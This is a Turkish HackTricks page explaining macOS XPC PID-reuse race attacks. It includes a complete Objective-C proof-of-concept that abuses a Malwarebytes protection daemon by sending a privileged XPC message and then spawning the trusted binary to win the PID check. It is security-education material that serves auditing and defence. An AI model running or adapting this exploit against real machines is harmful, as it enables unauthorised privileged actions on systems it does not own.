macOS PID Reuse

HackTricks'i Destekleyin

PID Yeniden Kullanımı

Bir macOS XPC servisi, çağrılan süreci PID'ye göre kontrol ediyorsa ve denetim belirteci yerine, PID yeniden kullanma saldırısına karşı savunmasızdır. Bu saldırı, bir yarış durumu temelinde olup, bir sömürü XPC servisine mesajlar gönderecek ve hemen ardından posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) ile izin verilen ikiliyi çalıştıracaktır.

Bu fonksiyon, izin verilen ikilinin PID'sini almasını sağlayacak, ancak kötü niyetli XPC mesajı daha önce gönderilmiş olacaktır. Dolayısıyla, eğer XPC servisi PID'yi göndereni kimlik doğrulamak için kullanıyorsa ve posix_spawn'dan sonra kontrol ediyorsa, bunun yetkili bir süreçten geldiğini düşünecektir.

Sömürü örneği

Eğer shouldAcceptNewConnection fonksiyonunu veya onun tarafından çağrılan ve processIdentifier'ı çağıran bir fonksiyonu bulursanız ve auditToken'ı çağırmıyorsa, bu büyük olasılıkla sürecin PID'sini doğruladığı anlamına gelir. Örneğin, bu resimde (referanstan alınmıştır):

Sömürü örneğini kontrol edin (yine, referanstan alınmıştır) ve sömürünün 2 parçasını görün:

  • Bir tanesi birkaç fork oluşturur

  • Her fork, mesajı gönderdikten hemen sonra posix_spawn'ı çalıştırırken yükü XPC servisine gönderecektir.

Sömürünün çalışması için export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ayarını yapmak veya sömürü içine koymak önemlidir:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

İlk seçenek NSTasks kullanarak ve çocukları başlatmak için argüman vererek RC'yi istismar etmektir.

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

Diğer örnekler

Referanslar

HackTricks'i Destekleyin

Last updated